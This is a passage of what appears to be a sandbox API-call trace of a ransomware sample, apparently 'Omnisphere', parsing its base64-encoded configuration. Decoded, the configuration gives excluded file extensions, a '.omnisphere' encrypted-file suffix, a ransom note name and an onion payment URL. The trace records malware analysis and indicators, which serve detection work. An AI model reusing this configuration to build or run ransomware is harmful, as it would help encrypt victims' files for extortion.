khQWjJBWFlSMlY0SkNJVg==;MQ==;aHR0cDovL3V1Nmlzc21ibmNkM3dqa20ub25pb24v;YXNk;", lpSrch=";") returned=";(null);LmV4ZXwuc3lzfC5kbGw=;(null);QVAzMhgAAACuAgAAStZPEF8FAAB33PG7IK8BQeKAlF0D/E9tAW5pU3BoZXLL3zdhs3Nv+3e2Focjjw0K9QH8aD9vd7p0Y4Rlc2cMf3n3db+jZmlsRx469ryBAy2hAwoDWTBVUvlQRdFT4E5Bfkw6Rkl79CzDIEhPVJYRO0RB8nRC870meXVS/dxOQ+xZP1BUFEQhOEJzkMGPbu90z2QvbW9nfZUhHONt+2TmHN8yfAdubHku8lRosBNjYXZ03yh9KnPJcnbp3+tiQmZbdNs2MKZSbWs6sO1sxrTiz18u0l5Gow90eRtrPm9G6CyIlHczaEiSZ3DvFVVSLD11ySi39m743a4zhnnbd87DZ2I8ZMNjciiadKmlJEiyobyzVGFoCJYpyJX6mZBj8/0Qyldv+LoUDOAQa9DFzStkNSHxNzZUZ4L9bZFdUE0oCyBBM6mj3Kk2NoAY3z0bdA+0lClQUOA5YnZIeSnQkLmjsOG2J95WYYJnYnSnaYqdVIXtZW87KWi0jzQpSZljA2lwdUEqbKiviN7+JKQiefoo3+4dcTwrX5OZLnEpkqsoKdQUMlFFL23NKry095N6s8lsfHZWKYs/SVPAbiiUNfNwPQhh91EsLPpE75hGCXRydWMaOo3GJQypRExFrdIOuUw/PB9PVSbbxToq7hsxLlQzZG5sYTPEVG9CnhyqZWFhdMVw4Dov4/ckAi6HqrJRatIGzxQUZy9kMN5kVWh+JKGULk+IMhJPCg9uS3IRGTMCSZ4X/+6NKAj75RW3PX2yOv0y0EeiKCWydEykC2I0dldoviyCP4cDY+sHRWvK+UhWtQ4cl39+ppn0cKbVpZDKRWhbRDUJRhdFP9Zs0CyLTg9QTyE2FAuGRoFuEfMbG5bliWDn98rd8mouxCZ3QduOarN0zyo46tKmcloLPDTIkQw3dtky55PGzirY6gA=;Lm9tbmlzcGhlcmU=;IURFQ1JZUFRfT01OSVNQSEVSRS50eHQ=;UkhQWjJBWFlSMlY0SkNJVg==;MQ==;aHR0cDovL3V1Nmlzc21ibmNkM3dqa20ub25pb24v;YXNk;" [0053.090] GetProcessHeap () returned 0x1600000 [0053.090] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x7) returned 0x162b978 [0053.090] lstrcpynA (in: lpString1=0x162b978, lpString2="(null);(null);LmV4ZXwuc3lzfC5kbGw=;(null);QVAzMhgAAACuAgAAStZPEF8FAAB33PG7IK8BQeKAlF0D/E9tAW5pU3BoZXLL3zdhs3Nv+3e2Focjjw0K9QH8aD9vd7p0Y4Rlc2cMf3n3db+jZmlsRx469ryBAy2hAwoDWTBVUvlQRdFT4E5Bfkw6Rkl79CzDIEhPVJYRO0RB8nRC870meXVS/dxOQ+xZP1BUFEQhOEJzkMGPbu90z2QvbW9nfZUhHONt+2TmHN8yfAdubHku8lRosBNjYXZ03yh9KnPJcnbp3+tiQmZbdNs2MKZSbWs6sO1sxrTiz18u0l5Gow90eRtrPm9G6CyIlHczaEiSZ3DvFVVSLD11ySi39m743a4zhnnbd87DZ2I8ZMNjciiadKmlJEiyobyzVGFoCJYpyJX6mZBj8/0Qyldv+LoUDOAQa9DFzStkNSHxNzZUZ4L9bZFdUE0oCyBBM6mj3Kk2NoAY3z0bdA+0lClQUOA5YnZIeSnQkLmjsOG2J95WYYJnYnSnaYqdVIXtZW87KWi0jzQpSZljA2lwdUEqbKiviN7+JKQiefoo3+4dcTwrX5OZLnEpkqsoKdQUMlFFL23NKry095N6s8lsfHZWKYs/SVPAbiiUNfNwPQhh91EsLPpE75hGCXRydWMaOo3GJQypRExFrdIOuUw/PB9PVSbbxToq7hsxLlQzZG5sYTPEVG9CnhyqZWFhdMVw4Dov4/ckAi6HqrJRatIGzxQUZy9kMN5kVWh+JKGULk+IMhJPCg9uS3IRGTMCSZ4X/+6NKAj75RW3PX2yOv0y0EeiKCWydEykC2I0dldoviyCP4cDY+sHRWvK+UhWtQ4cl39+ppn0cKbVpZDKRWhbRDUJRhdFP9Zs0CyLTg9QTyE2FAuGRoFuEfMbG5bliWDn98rd8mouxCZ3QduOarN0zyo46tKmcloLPDTIkQw3dtky55PGzirY6gA=;Lm9tbmlzcGhlcmU=;IURFQ1JZUFRfT01OSVNQSEVSRS50eHQ=;UkhQWjJBWFlSMlY0SkNJVg==;MQ==;aHR0cDovL3V1Nmlzc21ibmNkM3dqa20ub25pb24v;YXNk;", iMaxLength=7 | out: lpString1="(null)") returned="(null)" [0053.091] GetProcessHeap () returned 0x1600000 [0053.091] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x7) returned 0x162b988 [0053.091] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x162b988, cbMultiByte=3, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 3 [0053.091] GetProcessHeap () returned 0x1600000 [0053.091] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x8) returned 0x162b6d8 [0053.092] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x162b988, cbMultiByte=3, lpWideCharStr=0x162b6d8, cchWideChar=4 | out: lpWideCharStr="žée") returned 3 [0053.092] StrStrIA (lpFirst="(null);LmV4ZXwuc3lzfC5kbGw=;(null);QVAzMhgAAACuAgAAStZPEF8FAAB33PG7IK8BQeKAlF0D/E9tAW5pU3BoZXLL3zdhs3Nv+3e2Focjjw0K9QH8aD9vd7p0Y4Rlc2cMf3n3db+jZmlsRx469ryBAy2hAwoDWTBVUvlQRdFT4E5Bfkw6Rkl79CzDIEhPVJYRO0RB8nRC870meXVS/dxOQ+xZP1BUFEQhOEJzkMGPbu90z2QvbW9nfZUhHONt+2TmHN8yfAdubHku8lRosBNjYXZ03yh9KnPJcnbp3+tiQmZbdNs2MKZSbWs6sO1sxrTiz18u0l5Gow90eRtrPm9G6CyIlHczaEiSZ3DvFVVSLD11ySi39m743a4zhnnbd87DZ2I8ZMNjciiadKmlJEiyobyzVGFoCJYpyJX6mZBj8/0Qyldv+LoUDOAQa9DFzStkNSHxNzZUZ4L9bZFdUE0oCyBBM6mj3Kk2NoAY3z0bdA+0lClQUOA5YnZIeSnQkLmjsOG2J95WYYJnYnSnaYqdVIXtZW87KWi0jzQpSZljA2lwdUEqbKiviN7+JKQiefoo3+4dcTwrX5OZLnEpkqsoKdQUMlFFL23NKry095N6s8lsfHZWKYs/SVPAbiiUNfNwPQhh91EsLPpE75hGCXRydWMaOo3GJQypRExFrdIOuUw/PB9PVSbbxToq7hsxLlQzZG5sYTPEVG9CnhyqZWFhdMVw4Dov4/ckAi6HqrJRatIGzxQUZy9kMN5kVWh+JKGULk+IMhJPCg9uS3IRGTMCSZ4X/+6NKAj75RW3PX2yOv0y0EeiKCWydEykC2I0dldoviyCP4cDY+sHRWvK+UhWtQ4cl39+ppn0cKbVpZDKRWhbRDUJRhdFP9Zs0CyLTg9QTyE2FAuGRoFuEfMbG5bliWDn98rd8mouxCZ3QduOarN0zyo46tKmcloLPDTIkQw3dtky55PGzirY6gA=;Lm9tbmlzcGhlcmU=;IURFQ1JZUFRfT01OSVNQSEVSRS50eHQ=;UkhQWjJBWFlSMlY0SkNJVg==;MQ==;aHR0cDovL3V1Nmlzc21ibmNkM3dqa20ub25pb24v;YXNk;", lpSrch=";") returned=";LmV4ZXwuc3lzfC5kbGw=;(null);QVAzMhgAAACuAgAAStZPEF8FAAB33PG7IK8BQeKAlF0D/E9tAW5pU3BoZXLL3zdhs3Nv+3e2Focjjw0K9QH8aD9vd7p0Y4Rlc2cMf3n3db+jZmlsRx469ryBAy2hAwoDWTBVUvlQRdFT4E5Bfkw6Rkl79CzDIEhPVJYRO0RB8nRC870meXVS/dxOQ+xZP1BUFEQhOEJzkMGPbu90z2QvbW9nfZUhHONt+2TmHN8yfAdubHku8lRosBNjYXZ03yh9KnPJcnbp3+tiQmZbdNs2MKZSbWs6sO1sxrTiz18u0l5Gow90eRtrPm9G6CyIlHczaEiSZ3DvFVVSLD11ySi39m743a4zhnnbd87DZ2I8ZMNjciiadKmlJEiyobyzVGFoCJYpyJX6mZBj8/0Qyldv+LoUDOAQa9DFzStkNSHxNzZUZ4L9bZFdUE0oCyBBM6mj3Kk2NoAY3z0bdA+0lClQUOA5YnZIeSnQkLmjsOG2J95WYYJnYnSnaYqdVIXtZW87KWi0jzQpSZljA2lwdUEqbKiviN7+JKQiefoo3+4dcTwrX5OZLnEpkqsoKdQUMlFFL23NKry095N6s8lsfHZWKYs/SVPAbiiUNfNwPQhh91EsLPpE75hGCXRydWMaOo3GJQypRExFrdIOuUw/PB9PVSbbxToq7hsxLlQzZG5sYTPEVG9CnhyqZWFhdMVw4Dov4/ckAi6HqrJRatIGzxQUZy9kMN5kVWh+JKGULk+IMhJPCg9uS3IRGTMCSZ4X/+6NKAj75RW3PX2yOv0y0EeiKCWydEykC2I0dldoviyCP4cDY+sHRWvK+UhWtQ4cl39+ppn0cKbVpZDKRWhbRDUJRhdFP9Zs0CyLTg9QTyE2FAuGRoFuEfMbG5bliWDn98rd8mouxCZ3QduOarN0zyo46tKmcloLPDTIkQw3dtky55PGzirY6gA=;Lm9tbmlzcGhlcmU=;IURFQ1JZUFRfT01OSVNQSEVSRS50eHQ=;UkhQWjJBWFlSMlY0SkNJVg==;MQ==;aHR0cDovL3V1Nmlzc21ibmNkM3dqa20ub25pb24v;YXNk;" [0053.092] GetProcessHeap () returned 0x1600000 [0053.092] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x7) returned 0x162b7b8 [0053.092] lstrcpynA (in: lpString1=0x162b7b8, lpString2="(null);LmV4ZXwuc3lzfC5kbGw=;(null);QVAzMhgAAACuAgAAStZPEF8FAAB33PG7IK8BQeKAlF0D/E9tAW5pU3BoZXLL3zdhs3Nv+3e2Focjjw0K9QH8aD9vd7p0Y4Rlc2cMf3n3db+jZmlsRx469ryBAy2hAwoDWTBVUvlQRdFT4E5Bfkw6Rkl79CzDIEhPVJYRO0RB8nRC870meXVS/dxOQ+xZP1BUFEQhOEJzkMGPbu90z2QvbW9nfZUhHONt+2TmHN8yfAdubHku8lRosBNjYXZ03yh9KnPJcnbp3+tiQmZbdNs2MKZSbWs6sO1sxrTiz18u0l5Gow90eRtrPm9G6CyIlHczaEiSZ3DvFVVSLD11ySi39m743a4zhnnbd87DZ2I8ZMNjciiadKmlJEiyobyzVGFoCJYpyJX6mZBj8/0Qyldv+LoUDOAQa9DFzStkNSHxNzZUZ4L9bZFdUE0oCyBBM6mj3Kk2NoAY3z0bdA+0lClQUOA5YnZIeSnQkLmjsOG2J95WYYJnYnSnaYqdVIXtZW87KWi0jzQpSZljA2lwdUEqbKiviN7+JKQiefoo3+4dcTwrX5OZLnEpkqsoKdQUMlFFL23NKry095N6s8lsfHZWKYs/SVPAbiiUNfNwPQhh91EsLPpE75hGCXRydWMaOo3GJQypRExFrdIOuUw/PB9PVSbbxToq7hsxLlQzZG5sYTPEVG9CnhyqZWFhdMVw4Dov4/ckAi6HqrJRatIGzxQUZy9kMN5kVWh+JKGULk+IMhJPCg9uS3IRGTMCSZ4X/+6NKAj75RW3PX2yOv0y0EeiKCWydEykC2I0dldoviyCP4cDY+sHRWvK+UhWtQ4cl39+ppn0cKbVpZDKRWhbRDUJRhdFP9Zs0CyLTg9QTyE2FAuGRoFuEfMbG5bliWDn98rd8mouxCZ3QduOarN0zyo46tKmcloLPDTIkQw3dtky55PGzirY6gA=;Lm9tbmlzcGhlcmU=;IURFQ1JZUFRfT01OSVNQSEVSRS50eHQ=;UkhQWjJBWFlSMlY0SkNJVg==;MQ==;aHR0cDovL3V1Nmlzc21ibmNkM3dqa20ub25pb24v;YXNk;", iMaxLength=7 | out: lpString1="(null)") returned="(null)" [0053.092] GetProcessHeap () returned 0x1600000 [0053.092] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x7) returned 0x162b778 [0053.092] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x162b778, cbMultiByte=3, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 3 [0053.092] GetProcessHeap () returned 0x1600000 [0053.092] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x8) returned 0x162b748 [0053.093] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x162b778, cbMultiByte=3, lpWideCharStr=0x162b748, cchWideChar=4 | out: lpWideCharStr="žée") returned 3 [0053.093] StrStrIA (lpFirst="LmV4ZXwuc3lzfC5kbGw=;(null);QVAzMhgAAACuAgAAStZPEF8FAAB33PG7IK8BQeKAlF0D/E9tAW5pU3BoZXLL3zdhs3Nv+3e2Focjjw0K9QH8aD9vd7p0Y4Rlc2cMf3n3db+jZmlsRx469ryBAy2hAwoDWTBVUvlQRdFT4E5Bfkw6Rkl79CzDIEhPVJYRO0RB8nRC870meXVS/dxOQ+xZP1BUFEQhOEJzkMGPbu90z2QvbW9nfZUhHONt+2TmHN8yfAdubHku8lRosBNjYXZ03yh9KnPJcnbp3+tiQmZbdNs2MKZSbWs6sO1sxrTiz18u0l5Gow90eRtrPm9G6CyIlHczaEiSZ3DvFVVSLD11ySi39m743a4zhnnbd87DZ2I8ZMNjciiadKmlJEiyobyzVGFoCJYpyJX6mZBj8/0Qyldv+LoUDOAQa9DFzStkNSHxNzZUZ4L9bZFdUE0oCyBBM6mj3Kk2NoAY3z0bdA+0lClQUOA5YnZIeSnQkLmjsOG2J95WYYJnYnSnaYqdVIXtZW87KWi0jzQpSZljA2lwdUEqbKiviN7+JKQiefoo3+4dcTwrX5OZLnEpkqsoKdQUMlFFL23NKry095N6s8lsfHZWKYs/SVPAbiiUNfNwPQhh91EsLPpE75hGCXRydWMaOo3GJQypRExFrdIOuUw/PB9PVSbbxToq7hsxLlQzZG5sYTPEVG9CnhyqZWFhdMVw4Dov4/ckAi6HqrJRatIGzxQUZy9kMN5kVWh+JKGULk+IMhJPCg9uS3IRGTMCSZ4X/+6NKAj75RW3PX2yOv0y0EeiKCWydEykC2I0dldoviyCP4cDY+sHRWvK+UhWtQ4cl39+ppn0cKbVpZDKRWhbRDUJRhdFP9Zs0CyLTg9QTyE2FAuGRoFuEfMbG5bliWDn98rd8mouxCZ3QduOarN0zyo46tKmcloLPDTIkQw3dtky55PGzirY6gA=;Lm9tbmlzcGhlcmU=;IURFQ1JZUFRfT01OSVNQSEVSRS50eHQ=;UkhQWjJBWFlSMlY0SkNJVg==;MQ==;aHR0cDovL3V1Nmlzc21ibmNkM3dqa20ub25pb24v;YXNk;", lpSrch=";") returned=";(null);QVAzMhgAAACuAgAAStZPEF8FAAB33PG7IK8BQeKAlF0D/E9tAW5pU3BoZXLL3zdhs3Nv+3e2Focjjw0K9QH8aD9vd7p0Y4Rlc2cMf3n3db+jZmlsRx469ryBAy2hAwoDWTBVUvlQRdFT4E5Bfkw6Rkl79CzDIEhPVJYRO0RB8nRC870meXVS/dxOQ+xZP1BUFEQhOEJzkMGPbu90z2QvbW9nfZUhHONt+2TmHN8yfAdubHku8lRosBNjYXZ03yh9KnPJcnbp3+tiQmZbdNs2MKZSbWs6sO1sxrTiz18u0l5Gow90eRtrPm9G6CyIlHczaEiSZ3DvFVVSLD11ySi39m743a4zhnnbd87DZ2I8ZMNjciiadKmlJEiyobyzVGFoCJYpyJX6mZBj8/0Qyldv+LoUDOAQa9DFzStkNSHxNzZUZ4L9bZFdUE0oCyBBM6mj3Kk2NoAY3z0bdA+0lClQUOA5YnZIeSnQkLmjsOG2J95WYYJnYnSnaYqdVIXtZW87KWi0jzQpSZljA2lwdUEqbKiviN7+JKQiefoo3+4dcTwrX5OZLnEpkqsoKdQUMlFFL23NKry095N6s8lsfHZWKYs/SVPAbiiUNfNwPQhh91EsLPpE75hGCXRydWMaOo3GJQypRExFrdIOuUw/PB9PVSbbxToq7hsxLlQzZG5sYTPEVG9CnhyqZWFhdMVw4Dov4/ckAi6HqrJRatIGzxQUZy9kMN5kVWh+JKGULk+IMhJPCg9uS3IRGTMCSZ4X/+6NKAj75RW3PX2yOv0y0EeiKCWydEykC2I0dldoviyCP4cDY+sHRWvK+UhWtQ4cl39+ppn0cKbVpZDKRWhbRDUJRhdFP9Zs0CyLTg9QTyE2FAuGRoFuEfMbG5bliWDn98rd8mouxCZ3QduOarN0zyo46tKmcloLPDTIkQw3dtky55PGzirY6gA=;Lm9tbmlzcGhlcmU=;IURFQ1JZUFRfT01OSVNQSEVSRS50eHQ=;UkhQWjJBWFlSMlY0SkNJVg==;MQ==;aHR0cDovL3V1Nmlzc21ibmNkM3dqa20ub25pb24v;YXNk;" [0053.093] GetProcessHeap () returned 0x1600000 [0053.093] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x15) returned 0x163ab10 [0053.093] lstrcpynA (in: lpString1=0x163ab10, lpString2="LmV4ZXwuc3lzfC5kbGw=;(null);QVAzMhgAAACuAgAAStZPEF8FAAB33PG7IK8BQeKAlF0D/E9tAW5pU3BoZXLL3zdhs3Nv+3e2Focjjw0K9QH8aD9vd7p0Y4Rlc2cMf3n3db+jZmlsRx469ryBAy2hAwoDWTBVUvlQRdFT4E5Bfkw6Rkl79CzDIEhPVJYRO0RB8nRC870meXVS/dxOQ+xZP1BUFEQhOEJzkMGPbu90z2QvbW9nfZUhHONt+2TmHN8yfAdubHku8lRosBNjYXZ03yh9KnPJcnbp3+tiQmZbdNs2MKZSbWs6sO1sxrTiz18u0l5Gow90eRtrPm9G6CyIlHczaEiSZ3DvFVVSLD11ySi39m743a4zhnnbd87DZ2I8ZMNjciiadKmlJEiyobyzVGFoCJYpyJX6mZBj8/0Qyldv+LoUDOAQa9DFzStkNSHxNzZUZ4L9bZFdUE0oCyBBM6mj3Kk2NoAY3z0bdA+0lClQUOA5YnZIeSnQkLmjsOG2J95WYYJnYnSnaYqdVIXtZW87KWi0jzQpSZljA2lwdUEqbKiviN7+JKQiefoo3+4dcTwrX5OZLnEpkqsoKdQUMlFFL23NKry095N6s8lsfHZWKYs/SVPAbiiUNfNwPQhh91EsLPpE75hGCXRydWMaOo3GJQypRExFrdIOuUw/PB9PVSbbxToq7hsxLlQzZG5sYTPEVG9CnhyqZWFhdMVw4Dov4/ckAi6HqrJRatIGzxQUZy9kMN5kVWh+JKGULk+IMhJPCg9uS3IRGTMCSZ4X/+6NKAj75RW3PX2yOv0y0EeiKCWydEykC2I0dldoviyCP4cDY+sHRWvK+UhWtQ4cl39+ppn0cKbVpZDKRWhbRDUJRhdFP9Zs0CyLTg9QTyE2FAuGRoFuEfMbG5bliWDn98rd8mouxCZ3QduOarN0zyo46tKmcloLPDTIkQw3dtky55PGzirY6gA=;Lm9tbmlzcGhlcmU=;IURFQ1JZUFRfT01OSVNQSEVSRS50eHQ=;UkhQWjJBWFlSMlY0SkNJVg==;MQ==;aHR0cDovL3V1Nmlzc21ibmNkM3dqa20ub25pb24v;YXNk;", iMaxLength=21 | out: lpString1="LmV4ZXwuc3lzfC5kbGw=") returned="LmV4ZXwuc3lzfC5kbGw=" [0053.093] GetProcessHeap () returned 0x1600000 [0053.093] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x15) returned 0x163ab30 [0053.093] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x163ab30, cbMultiByte=14, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 14 [0053.093] GetProcessHeap () returned 0x1600000 [0053.093] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x1e) returned 0x1641f48 [0053.093] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x163ab30, cbMultiByte=14, lpWideCharStr=0x1641f48, cchWideChar=15 | out: lpWideCharStr=".exe|.sys|.dll") returned 14 [0053.094] StrStrIA (lpFirst="(null);QVAzMhgAAACuAgAAStZPEF8FAAB33PG7IK8BQeKAlF0D/E9tAW5pU3BoZXLL3zdhs3Nv+3e2Focjjw0K9QH8aD9vd7p0Y4Rlc2cMf3n3db+jZmlsRx469ryBAy2hAwoDWTBVUvlQRdFT4E5Bfkw6Rkl79CzDIEhPVJYRO0RB8nRC870meXVS/dxOQ+xZP1BUFEQhOEJzkMGPbu90z2QvbW9nfZUhHONt+2TmHN8yfAdubHku8lRosBNjYXZ03yh9KnPJcnbp3+tiQmZbdNs2MKZSbWs6sO1sxrTiz18u0l5Gow90eRtrPm9G6CyIlHczaEiSZ3DvFVVSLD11ySi39m743a4zhnnbd87DZ2I8ZMNjciiadKmlJEiyobyzVGFoCJYpyJX6mZBj8/0Qyldv+LoUDOAQa9DFzStkNSHxNzZUZ4L9bZFdUE0oCyBBM6mj3Kk2NoAY3z0bdA+0lClQUOA5YnZIeSnQkLmjsOG2J95WYYJnYnSnaYqdVIXtZW87KWi0jzQpSZljA2lwdUEqbKiviN7+JKQiefoo3+4dcTwrX5OZLnEpkqsoKdQUMlFFL23NKry095N6s8lsfHZWKYs/SVPAbiiUNfNwPQhh91EsLPpE75hGCXRydWMaOo3GJQypRExFrdIOuUw/PB9PVSbbxToq7hsxLlQzZG5sYTPEVG9CnhyqZWFhdMVw4Dov4/ckAi6HqrJRatIGzxQUZy9kMN5kVWh+JKGULk+IMhJPCg9uS3IRGTMCSZ4X/+6NKAj75RW3PX2yOv0y0EeiKCWydEykC2I0dldoviyCP4cDY+sHRWvK+UhWtQ4cl39+ppn0cKbVpZDKRWhbRDUJRhdFP9Zs0CyLTg9QTyE2FAuGRoFuEfMbG5bliWDn98rd8mouxCZ3QduOarN0zyo46tKmcloLPDTIkQw3dtky55PGzirY6gA=;Lm9tbmlzcGhlcmU=;IURFQ1JZUFRfT01OSVNQSEVSRS50eHQ=;UkhQWjJBWFlSMlY0SkNJVg==;MQ==;aHR0cDovL3V1Nmlzc21ibmNkM3dqa20ub25pb24v;YXNk;", lpSrch=";") returned=";QVAzMhgAAACuAgAAStZPEF8FAAB33PG7IK8BQeKAlF0D/E9tAW5pU3BoZXLL3zdhs3Nv+3e2Focjjw0K9QH8aD9vd7p0Y4Rlc2cMf3n3db+jZmlsRx469ryBAy2hAwoDWTBVUvlQRdFT4E5Bfkw6Rkl79CzDIEhPVJYRO0RB8nRC870meXVS/dxOQ+xZP1BUFEQhOEJzkMGPbu90z2QvbW9nfZUhHONt+2TmHN8yfAdubHku8lRosBNjYXZ03yh9KnPJcnbp3+tiQmZbdNs2MKZSbWs6sO1sxrTiz18u0l5Gow90eRtrPm9G6CyIlHczaEiSZ3DvFVVSLD11ySi39m743a4zhnnbd87DZ2I8ZMNjciiadKmlJEiyobyzVGFoCJYpyJX6mZBj8/0Qyldv+LoUDOAQa9DFzStkNSHxNzZUZ4L9bZFdUE0oCyBBM6mj3Kk2NoAY3z0bdA+0lClQUOA5YnZIeSnQkLmjsOG2J95WYYJnYnSnaYqdVIXtZW87KWi0jzQpSZljA2lwdUEqbKiviN7+JKQiefoo3+4dcTwrX5OZLnEpkqsoKdQUMlFFL23NKry095N6s8lsfHZWKYs/SVPAbiiUNfNwPQhh91EsLPpE75hGCXRydWMaOo3GJQypRExFrdIOuUw/PB9PVSbbxToq7hsxLlQzZG5sYTPEVG9CnhyqZWFhdMVw4Dov4/ckAi6HqrJRatIGzxQUZy9kMN5kVWh+JKGULk+IMhJPCg9uS3IRGTMCSZ4X/+6NKAj75RW3PX2yOv0y0EeiKCWydEykC2I0dldoviyCP4cDY+sHRWvK+UhWtQ4cl39+ppn0cKbVpZDKRWhbRDUJRhdFP9Zs0CyLTg9QTyE2FAuGRoFuEfMbG5bliWDn98rd8mouxCZ3QduOarN0zyo46tKmcloLPDTIkQw3dtky55PGzirY6gA=;Lm9tbmlzcGhlcmU=;IURFQ1JZUFRfT01OSVNQSEVSRS50eHQ=;UkhQWjJBWFlSMlY0SkNJVg==;MQ==;aHR0cDovL3V1Nmlzc21ibmNkM3dqa20ub25pb24v;YXNk;" [0053.094] GetProcessHeap () returned 0x1600000 [0053.094] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x7) returned 0x162b738 [0053.094] lstrcpynA (in: lpString1=0x162b738, lpString2="(null);QVAzMhgAAACuAgAAStZPEF8FAAB33PG7IK8BQeKAlF0D/E9tAW5pU3BoZXLL3zdhs3Nv+3e2Focjjw0K9QH8aD9vd7p0Y4Rlc2cMf3n3db+jZmlsRx469ryBAy2hAwoDWTBVUvlQRdFT4E5Bfkw6Rkl79CzDIEhPVJYRO0RB8nRC870meXVS/dxOQ+xZP1BUFEQhOEJzkMGPbu90z2QvbW9nfZUhHONt+2TmHN8yfAdubHku8lRosBNjYXZ03yh9KnPJcnbp3+tiQmZbdNs2MKZSbWs6sO1sxrTiz18u0l5Gow90eRtrPm9G6CyIlHczaEiSZ3DvFVVSLD11ySi39m743a4zhnnbd87DZ2I8ZMNjciiadKmlJEiyobyzVGFoCJYpyJX6mZBj8/0Qyldv+LoUDOAQa9DFzStkNSHxNzZUZ4L9bZFdUE0oCyBBM6mj3Kk2NoAY3z0bdA+0lClQUOA5YnZIeSnQkLmjsOG2J95WYYJnYnSnaYqdVIXtZW87KWi0jzQpSZljA2lwdUEqbKiviN7+JKQiefoo3+4dcTwrX5OZLnEpkqsoKdQUMlFFL23NKry095N6s8lsfHZWKYs/SVPAbiiUNfNwPQhh91EsLPpE75hGCXRydWMaOo3GJQypRExFrdIOuUw/PB9PVSbbxToq7hsxLlQzZG5sYTPEVG9CnhyqZWFhdMVw4Dov4/ckAi6HqrJRatIGzxQUZy9kMN5kVWh+JKGULk+IMhJPCg9uS3IRGTMCSZ4X/+6NKAj75RW3PX2yOv0y0EeiKCWydEykC2I0dldoviyCP4cDY+sHRWvK+UhWtQ4cl39+ppn0cKbVpZDKRWhbRDUJRhdFP9Zs0CyLTg9QTyE2FAuGRoFuEfMbG5bliWDn98rd8mouxCZ3QduOarN0zyo46tKmcloLPDTIkQw3dtky55PGzirY6gA=;Lm9tbmlzcGhlcmU=;IURFQ1JZUFRfT01OSVNQSEVSRS50eHQ=;UkhQWjJBWFlSMlY0SkNJVg==;MQ==;aHR0cDovL3V1Nmlzc21ibmNkM3dqa20ub25pb24v;YXNk;", iMaxLength=7 | out: lpString1="(null)") returned="(null)" [0053.094] GetProcessHeap () returned 0x1600000 [0053.094] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x7) returned 0x162b6b8 [0053.094] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x162b6b8, cbMultiByte=3, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 3 [0053.094] GetProcessHeap () returned 0x1600000 [0053.094] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x8) returned 0x162b758 [0053.094] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x162b6b8, cbMultiByte=3, lpWideCharStr=0x162b758, cchWideChar=4 | out: lpWideCharStr="žée") returned 3 [0053.094] StrStrIA (lpFirst="QVAzMhgAAACuAgAAStZPEF8FAAB33PG7IK8BQeKAlF0D/E9tAW5pU3BoZXLL3zdhs3Nv+3e2Focjjw0K9QH8aD9vd7p0Y4Rlc2cMf3n3db+jZmlsRx469ryBAy2hAwoDWTBVUvlQRdFT4E5Bfkw6Rkl79CzDIEhPVJYRO0RB8nRC870meXVS/dxOQ+xZP1BUFEQhOEJzkMGPbu90z2QvbW9nfZUhHONt+2TmHN8yfAdubHku8lRosBNjYXZ03yh9KnPJcnbp3+tiQmZbdNs2MKZSbWs6sO1sxrTiz18u0l5Gow90eRtrPm9G6CyIlHczaEiSZ3DvFVVSLD11ySi39m743a4zhnnbd87DZ2I8ZMNjciiadKmlJEiyobyzVGFoCJYpyJX6mZBj8/0Qyldv+LoUDOAQa9DFzStkNSHxNzZUZ4L9bZFdUE0oCyBBM6mj3Kk2NoAY3z0bdA+0lClQUOA5YnZIeSnQkLmjsOG2J95WYYJnYnSnaYqdVIXtZW87KWi0jzQpSZljA2lwdUEqbKiviN7+JKQiefoo3+4dcTwrX5OZLnEpkqsoKdQUMlFFL23NKry095N6s8lsfHZWKYs/SVPAbiiUNfNwPQhh91EsLPpE75hGCXRydWMaOo3GJQypRExFrdIOuUw/PB9PVSbbxToq7hsxLlQzZG5sYTPEVG9CnhyqZWFhdMVw4Dov4/ckAi6HqrJRatIGzxQUZy9kMN5kVWh+JKGULk+IMhJPCg9uS3IRGTMCSZ4X/+6NKAj75RW3PX2yOv0y0EeiKCWydEykC2I0dldoviyCP4cDY+sHRWvK+UhWtQ4cl39+ppn0cKbVpZDKRWhbRDUJRhdFP9Zs0CyLTg9QTyE2FAuGRoFuEfMbG5bliWDn98rd8mouxCZ3QduOarN0zyo46tKmcloLPDTIkQw3dtky55PGzirY6gA=;Lm9tbmlzcGhlcmU=;IURFQ1JZUFRfT01OSVNQSEVSRS50eHQ=;UkhQWjJBWFlSMlY0SkNJVg==;MQ==;aHR0cDovL3V1Nmlzc21ibmNkM3dqa20ub25pb24v;YXNk;", lpSrch=";") returned=";Lm9tbmlzcGhlcmU=;IURFQ1JZUFRfT01OSVNQSEVSRS50eHQ=;UkhQWjJBWFlSMlY0SkNJVg==;MQ==;aHR0cDovL3V1Nmlzc21ibmNkM3dqa20ub25pb24v;YXNk;" [0053.095] GetProcessHeap () returned 0x1600000 [0053.095] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x3b5) returned 0x1645810 